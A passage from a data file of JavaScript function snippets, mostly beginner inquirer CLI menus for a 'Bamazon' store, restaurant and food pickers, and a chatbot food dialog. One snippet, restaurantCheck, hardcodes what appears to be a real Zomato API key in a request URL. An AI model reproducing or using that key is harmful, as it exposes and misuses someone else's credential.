they were looking for\n var renderingSearchTerm = $('#select-restaurant-search-term').html(searchTerm);\n\n // when the restaurant changes, we need to display rate and other data\n $.when(renderingRestaurants, renderingSearchTerm).done(function(){\n renderRestaurantDetails(templates.templateRestInfo, getRestaurant, isSearch);\n });\n \n $(\"#select-restaurant-continue-button\").on(\"click\", function(){\n // this is the restaurant id to render later\n var selectedVal = $(\"#restaurant\").val();\n\n if(_debug){ console.log(selectedVal); }\n\n if(selectedVal == \"\"){\n document.getElementById(\"restaurant-alert\").innerHTML = \"Required.\";\n }else{\n\n // cleanup old event handlers before leaving home context\n destroyHome();\n\n userdata.currentRestaurant = selectedVal;\n initSelectItem(selectedVal);\n // ease scroll to top of next view\n $(\"html, body\").animate({ scrollTop: 0 }, \"slow\");\n }\n });\n });\n}","function continuePrompt(){\n inquirer.prompt({\n type: \"confirm\",\n name: \"continue\",\n message: \"Continue....?\",\n }).then((answer) => {\n if (answer.continue){\n showMainMenu();\n } else{\n exit();\n }\n })\n}","function start (p){\n\tresetting=true;\n\tfoodCounter=0;\n\tdeleteAllFood();\n\treset(p);\n}","function promptAction() {\n inquirer.prompt([{\n type: 'list',\n message: 'Select from list below what action you would like to complete.',\n choices: ['View Products for Sale', 'View Low Inventory', 'Add to Inventory', 'Add New Product'],\n name: \"action\"\n }, ]).then(function(selection) {\n switch (selection.action) {\n case 'View Products for Sale':\n viewAllProducts();\n break;\n\n case 'View Low Inventory':\n lowInventoryList();\n break;\n\n case 'Add to Inventory':\n addInventory();\n break;\n\n case 'Add New Product':\n addNewProduct();\n break;\n }\n }).catch(function(error) {\n throw error;\n });\n}","function nextAction() {\n\tinquirer.prompt({\n\t\tmessage: \"What would you like to do next?\",\n\t\ttype: \"list\",\n\t\tname: \"nextAction\",\n\t\tchoices: [\"Add More Items\", \"Remove Items\", \"Alter Item Order Amount\", \"Survey Cart\", \"Checkout\"]\n\t})\n\t\t.then(function (actionAnswer) {\n\t\t\tswitch (actionAnswer.nextAction) {\n\t\t\t\tcase \"Add More Items\":\n\t\t\t\t\t// go to the start function\n\t\t\t\t\tstart();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Remove Items\":\n\t\t\t\t\t// go to the removal function\n\t\t\t\t\tremoveItem();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Checkout\":\n\t\t\t\t\t// go to the checkout tree;\n\t\t\t\t\tverifyCheckout();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Alter Item Order Amount\":\n\t\t\t\t\t// go to the function that alters the shopping cart qty\n\t\t\t\t\talterItem();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"Survey Cart\":\n\t\t\t\t\t// look at the cart\n\t\t\t\t\tcheckoutFunction();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault: console.log(\"how did you get here?\")\n\t\t\t}\n\t\t})\n}","function continueShopping() {\n inquire.prompt([{\n message: \"Checkout or Continue Shopping?\",\n type: \"list\",\n name: \"continue\",\n choices: [\"Continue\", \"Go to checkout\"]\n }]).then(function (ans) {\n if (ans.continue === \"Continue\") {\n console.log(\" Items Added to Cart!\");\n shoppingCart();\n } else if (ans.continue === \"Go to checkout\") {\n checkOut(itemCart, cartQuant);\n }\n });\n}","function regretsPrompt (res) {\n\tinquirer\n \t\t.prompt([\n \t\t\t{\n\t\t\t\ttype: \"list\",\n\t\t\t\tmessage: \"What would you like to do?\",\n\t\t\t\tchoices: [\"Change Quantity\", \"Start Over\"],\n\t\t\t\tname: \"selection\"\n\t\t }\n\t\t])\n\t\t.then(function(inqRes) {\n\t\t\tif (inqRes.selection == \"Change Quantity\"){\n\t\t\t\tquantityPrompt(res);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdisplayAllProducts();\t\n\t\t\t}\n\n\n\t\t});//ends then\n}","function noInventoryOptions() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"Do you want to choose a new item or quit?\",\n choices: [\"NEW-ITEM\", \"QUIT\"],\n name: \"startAgain\"\n }\n ])\n .then(function(answer6) {\n if (answer6.startAgain == \"NEW-ITEM\") {\n displayProducts(); \n }\n if (answer6.startAgain == \"QUIT\") {\n console.log(\"Thank you. Good-bye!\");\n connection.end();\n }\n });\n}","function contShopping() {\n inquirer.prompt([\n {\n type: \"confirm\",\n message: \"Do you want to continue shopping?\",\n name: \"id\",\n\n }\n\n ])\n .then(function (cont) {\n\n if (cont.id === true) {\n readProducts();\n }\n else {\n console.log(\"Have a good day!\");\n connection.end();\n }\n })\n}","function submitClicked () { \n let foodInput = $('#food').val();\n if(foodInput == \"\"){\n $('.noFoodItem').text(\"please enter a food item in the search bar\").css('color','red');\n return; \n }\n $('.noFoodItem').text('');\n food = $(\"#food\").val()\n initAutocomplete();\n changePage();\n}","function menuoption(){\n inquirer.prompt({\n type: \"list\",\n name : \"menu\",\n message : \"What do you want to see ?\",\n choices : [\"\\n\",\"View Products for Sale\",\"View Low Inventory\",\"Add to Inventory\",\"Add New Product\"]\n\n }).then(function(answer){\n // var update;\n // var addnew;\n console.log(answer.menu);\n //if else option to compare user input and call the required function\n if(answer.menu == \"View Products for Sale\" ){\n showitem();\n }else if(answer.menu == \"View Low Inventory\"){\n \n lowinventory();\n }else if(answer.menu == \"Add to Inventory\"){\n updateinventory();\n // updateonecolumn(itemidinput);\n }else if(answer.menu == \"Add New Product\"){\n addnewproduct();\n }\n \n });\n }","function shop() {\n\n inquirer.prompt([{\n name: \"menu\",\n type: \"list\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Update Inventory\", \"Add New Product\"]\n }]).then(function (answer) {\n\n switch (answer.menu) {\n case \"View Products for Sale\":\n forSale();\n break;\n\n case \"View Low Inventory\":\n lowStock();\n break;\n\n case \"Add New Product\":\n addThing();\n break;\n\n case \"Update Inventory\":\n moreStuff();\n break;\n }\n });\n}","function ADMIN() {\n //SORT FLIGHTS BY ID, SET ALL DISPLAYS TO TRUE\n flights.sort((a, b) => a.id - b.id);\n for (let i = 0; i < flights.length; i++) {\n flights[i].display = true;\n }\n let ediDel;\n do {\n ediDel = prompt(\n \"Te encuentras en la funci\\u00F3n de ADMINISTRADOR. Indica la funci\\u00F3n a la que quieres acceder: EDIT, DELETE.\",\n \"EDIT,DELETE\"\n );\n salida(ediDel, ADMIN);\n ediDel = ediDel.toUpperCase();\n } while (ediDel !== \"EDIT\" && ediDel !== \"DELETE\");\n\n //JUMP TO NEXT FUNCITON\n if (ediDel === \"EDIT\") {\n EDIT();\n } else if (ediDel === \"DELETE\") {\n DELETE();\n } else {\n alert(\"No te he entendido\");\n ADMIN();\n }\n}","function buyMore() {\n\n inquirer.prompt([\n {\n name: \"continue\",\n type: \"confirm\",\n message: \"Do you want to buy another product?\"\n }\n ]).then(function (answers) {\n if (answers.continue) {\n defId = null;\n defQty = 1;\n dispAll();\n } else {\n connection.end();\n }\n });\n\n}","function start() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"What would you like to do?\",\n choices: [\"Purchase Items\", \n \"Exit\"],\n }\n ]).then(function(answer) {\n\n // Based on the selection, the user experience will be routed in one of these directions\n switch (answer.choice) {\n case \"Purchase Items\":\n displayItems();\n break;\n case \"Exit\":\n exit();\n break;\n }\n });\n} // End start function","function askAgain() {\n inquirer.prompt({\n name: \"choice\",\n type: \"rawlist\",\n message: \"What you like to place another order?\",\n choices: [\"YES\", \"NO\"]\n })\n .then(function (answer) {\n if (answer.choice.toUpperCase() === \"YES\") {\n ask();\n } else {\n console.log(\"Thank you for shopping at Bamazon.\");\n connection.end();\n }\n })\n\n}","onSelectRestaurant(restaurant){\n this.closeAllRestaurant()\n restaurant.viewDetailsComments()\n restaurant.viewImg()\n\n }","function fightOrRun() {\n var choices = [\"Run\", \"Fight\"];\n var askPlayer = parseInt(readline.keyInSelect(choices, \"Do you want to fight like a shark or run like a shrimp???\\nThe next monster might be scarier.\\n \\n What are you going to do? Press 1 to run...Press 2 to fight.\"));\n if (choices === 1) {\n //call the function for deciding to run \n run();\n } else {\n //call the function for deciding to fight\n console.log('You decided to fight, bring it on!!.');\n fight();\n }\n }","function OrderAgain(){ \r\n\tinquirer.prompt([{ \r\n\t\ttype: 'confirm', \r\n\t\tname: 'choice', \r\n\t\tmessage: 'Would you like to place another order?' \r\n\t}]).then(function(answer){ \r\n\t\tif(answer.choice){ \r\n\t\t\tplaceOrder(); \r\n\t\t} \r\n\t\telse{ \r\n\t\t\tconsole.log('Thank you for shopping at the Bamazon Mercantile!'); \r\n\t\t\tconnection.end(); \r\n\t\t} \r\n\t}) \r\n}","function eat(food)\n\t\t{\n\t\t\t// Add the food's HTML element to a queue of uneaten food elements.\n\t\t\tuneatenFood.push(food.element);\n\n\t\t\t// Tell the fish to swim to the position of the specified food object, appending this swim instruction\n\t\t\t// to all other swim paths currently queued, and then when the swimming is done call back a function that\n\t\t\t// removes the food element.\n\t\t\tFish.swimTo(\n\t\t\t\tfood.position,\n\t\t\t\tFish.PathType.AppendPath,\n\t\t\t\tfunction()\n\t\t\t\t{\n\t\t\t\t\tlet eatenFood = uneatenFood.shift();\n\t\t\t\t\teatenFood.parentNode.removeChild(eatenFood);\n\t\t\t\t\tgrow();\n\t\t\t\t});\n\t\t} // end eat()","function restaurantCheck (post) {\n\n\t\tvar zomatoKey = \"8eb908d1e6003b1c7643c94c50ecd283\";\n\n\t\t// J\n\t\t// Q\n\t\t// U\n\t\t// E\n\t\t// R\n\t\t// Y\n\t\t$.ajax ({\n\t\t\tmethod: \"GET\",\n\t\t\turl: \"https://developers.zomato.com/api/v2.1/search?apikey=\"+zomatoKey+\"&count=500&lat=42.4074843&lon=-71.11902320000002&radius=5000\",\n\t\t}).done(function (data) {\n\t\t\tdata.restaurants.forEach(function(element,index) {\n\t\t\t\tif (post.includes(element.restaurant.name)) {\n\t\t\t\t\tfood_list.push(element.restaurant.name);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t}","function mainOptions() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View\",\n \"Add\",\n \"Delete\",\n \"Update\"\n ]\n })\n .then(function (answer) {\n switch (answer.action) {\n\n case \"View\":\n viewChoice();\n break;\n\n case \"Add\":\n addChoice();\n break;\n\n case \"Delete\":\n deleteChoice()\n break;\n\n case \"Update\":\n updateChoice()\n break;\n\n\n }\n });\n\n}","function anythingElse() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n message: \"Anything Else?\",\n name: \"choice\"\n }\n ])\n .then(res => {\n if (res.choice) {\n displayProducts();\n } else {\n console.log(\"Thank You!\");\n console.log(`Total: $${total}`);\n connection.end();\n }\n });\n}","function chooseAction() {\n\tinquirer\n\t\t.prompt({\n\t\t\tname: \"action\", \n\t\t\ttype: \"rawlist\", \n\t\t\tmessage: \"What do you want to do?\", \n\t\t\tchoices: [\"VIEW PRODUCTS\", \"VIEW LOW INVENTORY\", \"ADD TO INVENTORY\", \"ADD NEW PRODUCT\", \"QUIT\"]\n\t\t})\n\t\t.then(function(ans) {\n\t\t\tif(ans.action.toUpperCase() ===\"VIEW PRODUCTS\") {\n\t\t\t\tviewProducts(); \n\t\t\t} \n\t\t\telse if (ans.action.toUpperCase() === \"VIEW LOW INVENTORY\") {\n\t\t\t\tviewLowInventory(); \n\t\t\t}\n\t\t\telse if (ans.action.toUpperCase() === \"ADD TO INVENTORY\") {\n\t\t\t\taddInventory(); \n\t\t\t}\n\t\t\telse if (ans.action.toUpperCase() === \"ADD NEW PRODUCT\") {\n\t\t\t\taddNewProduct(); \n\t\t\t}\n\t\t\telse {\n\t\t\t\tendConnection(); \n\t\t\t}\n\t\t})\n}","async promptForMenu(step) {\n return step.prompt(MENU_PROMPT, {\n choices: [\"Donate Food\", \"Find a Food Bank\", \"Contact Food Bank\"],\n prompt: \"Do you have food to donate, do you need food, or are you contacting a food bank?\",\n retryPrompt: \"I'm sorry, that wasn't a valid response. Please select one of the options\"\n });\n }","function checkFood(food){\n\tvar food = [\"chicken\", \"beef\", \"fish\", \"lamb\", \"veal\"];\n\n\t//The first term starts with 0\n\n\tif(food == food[0] || food == food[1] || food == food[2] || food == food[3] || food == food [4]){\n\t\talert(\"You are considered as meat\");\n\t}else{\n\t\talert(\"You may or may not be considered as meat\");\n\t//if chicken, beef, fish, lamb or veal is entered, then a popup will appaer with \"You are considered as meat\"\n\t//if something else is entered, then a popup will appear saying \"you may or may not be considered as meat\"\t\n\t}\n}","function startPrompt() {\n inquirer\n .prompt([\n {\n name: \"startOrStop\",\n type: \"list\",\n message: \"Would you like to make a purchase?\",\n choices: [\"Yes\", \"No\", \"Show me the choices again\"]\n }\n ])\n .then(function (answer) {\n if (answer.startOrStop === \"No\") {\n console.log(\"Goodbye!\");\n connection.end();\n } else if (answer.startOrStop === \"Show me the choices again\") {\n start();\n } else {\n buyPrompt();\n }\n\n });\n}","function foodClickHandler(foodsitem) {\n setFood(foodsitem);\n }","function keepShopping() {\n inquirer.prompt([{\n type: \"confirm\",\n name: \"shopping\",\n message: \"Would you like to keep shopping?\",\n }]).then(function (answer) {\n if (answer) {\n chooseShop();\n } else {\n // End the database connection\n connection.end();\n }\n })\n}","async captureFood(step) {\n const user = await this.userProfile.get(step.context, {});\n\n // Perform a call to LUIS to retrieve results for the user's message.\n const results = await this.luisRecognizer.recognize(step.context);\n\n // Since the LuisRecognizer was configured to include the raw results, get the `topScoringIntent` as specified by LUIS.\n const topIntent = results.luisResult.topScoringIntent;\n const topEntity = results.luisResult.entities[0];\n\n if (step.result !== -1) {\n\n if (topIntent.intent == 'ChooseTypeOfFood') {\n user.food = topEntity.entity;\n await this.userProfile.set(step.context, user);\n\n //await step.context.sendActivity(`Entity: ${topEntity.entity}`);\n await step.context.sendActivity(`I'm going to find the restaurant to eat : ${topEntity.entity}`);\n //return await step.next();\n }\n else {\n await this.userProfile.set(step.context, user);\n await step.context.sendActivity(`Sorry, I do not understand or say cancel.`);\n return await step.replaceDialog(WHICH_FOOD);\n }\n\n // await step.context.sendActivity(`I will remember that you want this kind of food : ${ step.result } `);\n } else {// si l'user ne sait pas quelle genre de food il veut\n\n const { ActionTypes, ActivityTypes, CardFactory } = require('botbuilder');\n\n const reply = { type: ActivityTypes.Message };\n\n // // build buttons to display.\n const buttons = [\n { type: ActionTypes.ImBack, title: '1. European 🍝 🍲', value: '1' },\n { type: ActionTypes.ImBack, title: '2. Chinese 🍜 🍚', value: '2' },\n { type: ActionTypes.ImBack, title: '3. American 🍔 🍟', value: '3' }\n ];\n\n // // construct hero card.\n const card = CardFactory.heroCard('', undefined,\n buttons, { text: 'What type of restaurant do you want ?' });\n\n // // add card to Activity.\n reply.attachments = [card];\n\n // // Send hero card to the user.\n await step.context.sendActivity(reply);\n\n }\n //return await step.beginDialog(WHICH_PRICE);\n //return await step.endDialog();\n}","function displayRestaurant() {\n restaurantDrop.on(\"click\", function (event) {\n if ($(event.target).attr(\"class\") === \"yes\") {\n console.log(\"hi\");\n $(\".body-container\").prepend($(\".location\").show());\n restaurantOption.hide();\n }\n if ($(event.target).attr(\"class\") === \"no\") {\n $(\".final-date\").removeClass(\"hide\");\n restaurantOption.hide();\n viewDate.append($(\".movie-display\"));\n $(\".movie-display\").show();\n restaurantStorage.push(\"\")\n localStorage.setItem(\"Restaurants\", JSON.stringify(restaurantStorage))\n }\n });\n}","function start() {\n inquirer\n .prompt({\n name: \"selectOptions\",\n type: \"list\",\n message: \"Choose from the list of available options...\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\", \"View most expensive Inventory\"]\n })\n .then(function (answer) {\n\n // get the user choice and route to appropriate function.\n switch (answer.selectOptions) {\n case \"View Products for Sale\":\n listAllProducts();\n break;\n\n case \"View Low Inventory\":\n listLowInventory();\n break;\n\n case \"Add to Inventory\":\n addToInventory();\n break;\n\n case \"Add New Product\":\n addNewItemToInventory();\n break;\n\n case \"View most expensive Inventory\":\n listExpensiveItems();\n break;\n }\n\n //\n\n });\n}","function nextPrompt(){\n inquirer.prompt([\n {\n name: \"status\",\n type: \"list\",\n message: \"Buy more?\",\n choices: [\"Buy more\", \"Exit\"]\n }\n ]).then(answer => {\n if(answer.status === \"Buy more\"){\n displayInventory();\n promptBuy();\n } else{\n console.log(\"Thank you. Goodbye.\");\n connection.end();\n }\n })\n}","function foodRunnerSelector() {\n \n if (document.getElementById(\"foodRunnerYes\").checked == true) {\n\tdoTipFoodRunner = true;\n\tdocument.getElementById(\"foodRunnerConfirm\").innerHTML = \"Food Runner will be tipped out\";}\n else { \n\tdoTipFoodRunner = false;\n\tdocument.getElementById(\"foodRunnerConfirm\").innerHTML = \"No tip out for Food Runner\"; \n }\n return doTipFoodRunner\n}","function setFoodType(type) {\n // This allows us to display items related to the choice on the map but also to style the buttons so the user knows that they have selected something\n if(type === 'kebab') {\n $scope.hammered = 'chosen-emotion';\n $scope.hungover = '';\n $scope.hangry = '';\n $scope.hardworking = '';\n } else if(type === 'cafe') {\n $scope.hammered = '';\n $scope.hungover = 'chosen-emotion';\n $scope.hangry = '';\n $scope.hardworking = '';\n } else if(type === 'fastfood') {\n $scope.hammered = '';\n $scope.hungover = '';\n $scope.hangry = 'chosen-emotion';\n $scope.hardworking = '';\n } else {\n $scope.hammered = '';\n $scope.hungover = '';\n $scope.hangry = '';\n $scope.hardworking = 'chosen-emotion';\n }\n vm.foodType = type;\n }","function askToContinue() {\n\t\tinquirer\n\t\t\t.prompt([\n\t\t\t\t{\n\t\t\t\t\ttype: 'confirm',\n\t\t\t\t\tmessage: 'Do you want to play again?',\n\t\t\t\t\tname: 'confirm',\n\t\t\t\t\tdefault: true\n\t\t\t\t}\n\t\t\t])\n\t\t\t.then(function(response) {\n\t\t\t\tif (response.confirm === true) {\n\t\t\t\t\tstartGame();\n\t\t\t\t} \n\t\t\t});\n\t}","function goPrompt() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"What action would you like to do?\",\n name: \"choice\",\n choices: [\n \"Check Departments\",\n \"Check Roles\",\n \"Check Employees\",\n \"Plus Employee\",\n \"Plus Role\",\n \"Plus Department\"\n ]\n }\n // switch replaces else if...selects parameter and javascript will look for the correct function\n ]).then(function (data) {\n switch (data.choice) {\n case \"Check Departments\":\n viewDepartments()\n break;\n case \"Check Roles\":\n viewRoles()\n break;\n case \"Check Employees\":\n viewEmployees()\n break;\n case \"Plus Employee\":\n plusEmployees()\n break;\n case \"Plus Department\":\n plusDepartment()\n break;\n case \"Plus Role\":\n plusRole()\n break;\n }\n })\n}","function userSearch() {\n\n inquirer.prompt([\n {\n type: \"list\",\n name: \"choice\",\n message: \"What would you like to do:\",\n choices: [\"View product sales by Department\", \"Create new department\", \"Exit Supervisor Mode\"]\n }\n\n ]).then(function (manager) {\n\n switch (manager.choice) {\n case \"View product sales by Department\":\n viewDepartments();\n break;\n \n case \"Create new department\":\n addNewDepartment();\n break;\n\n case \"Exit Supervisor Mode\":\n console.log(\"\\nSee ya later!\\n\");\n connection.end ();\n break;\n }\n\n });\n\n}","function orderAgain() {\n console.log(\"------\");\n inquirer.prompt({\n name: \"confirm\",\n type: \"list\",\n message: \"Would you like start over and view what's in stock again?\",\n choices: [\"Yes\", \"No\"]\n })\n .then(function(answer) {\n if (answer.confirm === \"Yes\") {\n displayStock();\n }\n\n else {\n console.log(\"------\")\n console.log(\"Thanks for shopping on Bamazon!\")\n connection.end();\n }\n })\n }","function randomFood() {\n\n\t\tif (Math.random() > 0.5) {\n\t\t\treturn 'pizza';\n\t\t} \n\t\treturn 'ice cream';\n\t}","function frostingChoice(item) {\n frostingChosen = true;\n if (typeof preFrostingChoice !== 'undefined'){\n preFrostingChoice.style.backgroundColor = \"white\";\n }\n\n item.style.backgroundColor = \"lightgray\";\n preFrostingChoice = item;\n\n checkPrice();\n}","function pizzaFlavor() {\n // Logs menu to console after each action\n console.log(\"\");\n console.log(\"Please choose your actions:\");\n console.log(\"\");\n console.log(\"1 - List all the pizza flavors\");\n console.log(\"2 - Add a new pizza flavor\");\n console.log(\"3 - Remove a pizza flavor\");\n console.log(\"4 - Exit this program\");\n console.log(\"\");\n\n // Variable that stores menu option\n let x = Number(readlineSync.question(\"Enter your action's number: \"));\n\n // Logs list of pizza flavors to console when menu option 1 is chosen and returns to menu\n if (x === 1) {\n console.log(flavs);\n pizzaFlavor();\n }\n\n // Enters do while loop to keep asking for new pizza flavor input\n if (x === 2) {\n // Do while loop breaks when \"X\" is entered and returns to menu\n do {\n flavs.push(readlineSync.question(\"Please enter pizza flavor. \"));\n console.log(\"Enter X to return or press enter to add another pizza flavor.\");\n } while (readlineSync.question() != \"X\")\n pizzaFlavor();\n }\n\n // Will remove array item when menu option 3 is chosen\n if (x === 3) {\n // Variable that stores array item to be removed\n let rm = readlineSync.question(\"Please enter pizza flavor number to remove. \");\n\n // If statement to check is input matches an item in array\n if (flavs.includes(rm)) {\n // If item exists the given item will be removed from the array and returns to menu\n flavs.splice(flavs.indexOf(rm), 1);\n pizzaFlavor();\n } else {\n // If item does not exist a message will be logged to console and returns to menu\n console.log(`Pizza flavors does not include ${rm}.`);\n pizzaFlavor();\n }\n\n }\n\n // If menu option 4 is chosen a message will be returned before exiting\n if (x === 4) {\n return console.log(\"Goodbye\");\n }\n}"],"string":"[\n \"function handleFastRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const fastDishInput = document.getElementById(\\\"fast-input\\\").value;\\n const fastfoodMenu = [\\\"cheeseburger\\\", \\\"doubleburger\\\", \\\"veganburger\\\"]\\n\\n if(fastDishInput == fastfoodMenu[0]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[1]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[2]) {\\n restaurantClosing();\\n } else {\\n fastFoodRestaurantScene();\\n }\\n}\",\n \"function handleFancyRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const dishInput = document.getElementById(\\\"dish-input\\\").value;\\n const fancyMenu = [\\\"pizza\\\", \\\"paella\\\", \\\"pasta\\\"]\\n\\n if(dishInput == fancyMenu[0]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[1]) {\\n restaurantClosing();\\n } else if (dishInput == fancyMenu[2]) {\\n restaurantClosing();\\n } else {\\n fancyRestauratMenu();\\n }\\n}\",\n \"function changeRestaurant() {\\n if (selectedRestaurant < rRestaurants.length - 1) {\\n const next = selectedRestaurant + 1;\\n dispatch(setSelectedRestaurant(next));\\n } else {\\n dispatch(setSelectedRestaurant(0));\\n }\\n }\",\n \"function option() {\\n\\tinquirer\\n\\t\\t.prompt(\\n\\t\\t\\t{\\n\\t\\t\\t\\tname: \\\"option\\\",\\n\\t\\t\\t\\ttype: \\\"rawlist\\\",\\n\\t\\t\\t\\tmessage: \\\"Would you like to continue to shop?\\\",\\n\\t\\t\\t\\tchoices: [\\\"yes\\\", \\\"no\\\"]\\n\\t\\t\\t}\\n\\t\\t)\\n\\t\\t.then(function (answer) {\\n\\t\\t\\tif (answer.option === \\\"yes\\\") {\\n\\t\\t\\t\\tdisplayProducts();\\n\\t\\t\\t}\\n\\n\\t\\t\\telse {\\n\\t\\t\\t\\tconsole.log(\\\"Thank you for shopping with us at Bamazon, now get the hell out of here!\\\")\\n\\t\\t\\t\\tconnection.end()\\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"async promptForFood(step) {\\n if (step.result && step.result.value === 'yes') {\\n\\n return await step.prompt(FOOD_PROMPT, `Tell me what kind of food would you prefer ?`,\\n {\\n retryPrompt: 'Sorry, I do not understand or say cancel.'\\n }\\n );\\n } else {\\n return await step.next(-1);\\n }\\n}\",\n \"function restartMenu(){\\n\\tinquirer.prompt([{\\n\\t\\ttype: \\\"confirm\\\",\\n\\t\\tname: \\\"restartSelection\\\",\\n\\t\\tmessage: \\\"Would you like to continue shopping?\\\"\\n\\t}]).then(function(restartAnswer){\\n\\t\\tif (restartAnswer.restartSelection === true) {\\n\\t\\t\\tcustomerMenu();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tconsole.log(\\\"Thank you for shopping!\\\\nYour total is $\\\" + totalCost); \\n\\t\\t}\\n\\t});\\n}\",\n \"function selectRestaurant() {\\n let restaurant = document.getElementById(\\\"dropdown\\\").firstChild.value;\\n let clear;\\n if (restaurant === null) {\\n return;\\n } else if (Object.keys(order.items).length > 0) {\\n //Confirm the if the user wants to proceed to clear the order\\n clear = confirm(\\\"Would you like to clear the current order?\\\");\\n if(!clear) {\\n document.getElementById(\\\"dropdown\\\").firstChild.value = \\\"\\\";\\n return;\\n }\\n }\\n\\n clearOrder(true);\\n\\n changeRestaurant(restaurant);\\n\\n}\",\n \"generateRestaurant(){\\n// we want the user to input the zipcode they want to search, the food type they want to eat\\n// and the rating (1-5) \\n// getRestaurants()\\n\\n\\n}\",\n \"function selectRestaurant(){\\r\\n\\tlet select = document.getElementById(\\\"restaurant-select\\\");\\r\\n\\tlet name = select.options[select.selectedIndex]\\r\\n\\t//checks for undefined\\r\\n\\tif (name !== undefined){\\r\\n\\t\\t//creates custom url that tells server what the currently selected restaurant is\\r\\n\\t\\tname= select.options[select.selectedIndex].text;\\r\\n\\t\\tname = name.replace(/\\\\s+/g, '-');\\r\\n\\t\\tlet request = new XMLHttpRequest();\\r\\n\\t\\r\\n\\t\\trequest.onreadystatechange = function(){\\t\\r\\n\\t\\t\\tif(this.readyState == 4 && this.status == 200){ //if its reggie\\r\\n\\t\\t\\t\\tlet data = JSON.parse(request.responseText);\\r\\n\\t\\t\\t\\t//set menu[0] equal to the data from the server\\r\\n\\t\\t\\t\\tmenu[0] = data;\\r\\n\\t\\t\\t\\tconsole.log(menu);\\r\\n\\t\\t\\t\\tlet result = true;\\r\\n\\t\\r\\n\\t\\t\\t\\t//If order is not empty, confirm the user wants to switch restaurants.\\r\\n\\t\\t\\t\\tif(!isEmpty(order)){\\r\\n\\t\\t\\t\\t\\tresult = confirm(\\\"Are you sure you want to clear your order and switch menus?\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\r\\n\\t\\t\\t\\t//If switch is confirmed, load the new restaurant data\\r\\n\\t\\t\\t\\tif(result){\\r\\n\\t\\t\\t\\t\\t//Get the selected index and set the current restaurant\\r\\n\\t\\t\\t\\t\\tlet selected = select.options[select.selectedIndex].value;\\r\\n\\t\\t\\t\\t\\tcurrentSelectIndex = select.selectedIndex;\\r\\n\\t\\t\\t\\t\\t//In A2, current restaurant will be data you received from the server\\r\\n\\t\\t\\t\\t\\tcurrentRestaurant = menu[0];\\r\\n\\t\\t\\r\\n\\t\\t\\t\\t\\t//Update the page contents to contain the new menu\\r\\n\\t\\t\\t\\t\\tif (currentRestaurant !== undefined){\\r\\n\\t\\t\\t\\t\\t\\tdocument.getElementById(\\\"left\\\").innerHTML = getCategoryHTML(currentRestaurant);\\r\\n\\t\\t\\t\\t\\t\\tdocument.getElementById(\\\"middle\\\").innerHTML = getMenuHTML(currentRestaurant);\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t//Clear the current oder and update the order summary\\r\\n\\t\\t\\t\\t\\torder = {};\\r\\n\\t\\t\\t\\t\\tupdateOrder(currentRestaurant);\\r\\n\\t\\t\\r\\n\\t\\t\\t\\t\\t//Update the restaurant info on the page\\r\\n\\t\\t\\t\\t\\tlet info = document.getElementById(\\\"info\\\");\\r\\n\\t\\t\\t\\t\\tinfo.innerHTML = currentRestaurant.name + \\\"
    Minimum Order: $\\\" + currentRestaurant.min_order + \\\"
    Delivery Fee: $\\\" + currentRestaurant.delivery_fee + \\\"

    \\\";\\r\\n\\t\\t\\t\\t}else{\\r\\n\\t\\t\\t\\t\\t//If they refused the change of restaurant, reset the selected index to what it was before they changed it\\r\\n\\t\\t\\t\\t\\tlet select = document.getElementById(\\\"restaurant-select\\\");\\r\\n\\t\\t\\t\\t\\tselect.selectedIndex = currentSelectIndex;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\t//make request to server with custom url based on the currently selected restaurant\\r\\n\\t\\trequest.open(\\\"GET\\\",\\\"http://localhost:3000/menu-data/\\\"+name,true);\\r\\n\\t\\trequest.send();\\r\\n\\t}\\r\\n}\",\n \"function mainMenu() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"choice\\\",\\n message: \\\"Would you like to place another order?\\\"\\n }\\n ]).then(function (answer) {//response is boolean only\\n if (answer.choice) { //if true, run func\\n startBamazon();\\n } else {\\n console.log(\\\"Thanks for shopping at Bamazon. See you soon!\\\")\\n connection.end();\\n }\\n })\\n}\",\n \"function eatFood() {\\n if (gameState.snakeStart === gameState.food) {\\n gameState.snakeLength++;\\n\\n updateFoodCell(\\\"remove\\\", gameState.food);\\n\\n createFood();\\n updateFoodCell(\\\"add\\\", gameState.food);\\n gameState.score++;\\n increaseSpeed();\\n showScore();\\n return true;\\n }\\n}\",\n \"function startOver() {\\n inquirer\\n .prompt({\\n name: \\\"continue\\\",\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to buy another product?\\\",\\n default: true\\n })\\n .then(function(answer) {\\n if (answer.continue) {\\n purchaseChoice();\\n }\\n else {\\n connection.end();\\n }\\n })\\n}\",\n \"async function makeFood(step) {\\n try {\\n if (step < brusselSprouts.length) {\\n await addFood(brusselSprouts[step], \\\"#brusselSprouts\\\"); // Coloco o passo atual na fila\\n makeFood(step + 1); // Dou o próximo passo na receita\\n } else {\\n throw \\\"End of recipe.\\\";\\n }\\n } catch (err) {\\n console.log(err);\\n }\\n}\",\n \"function reRun(){\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"reply\\\",\\n 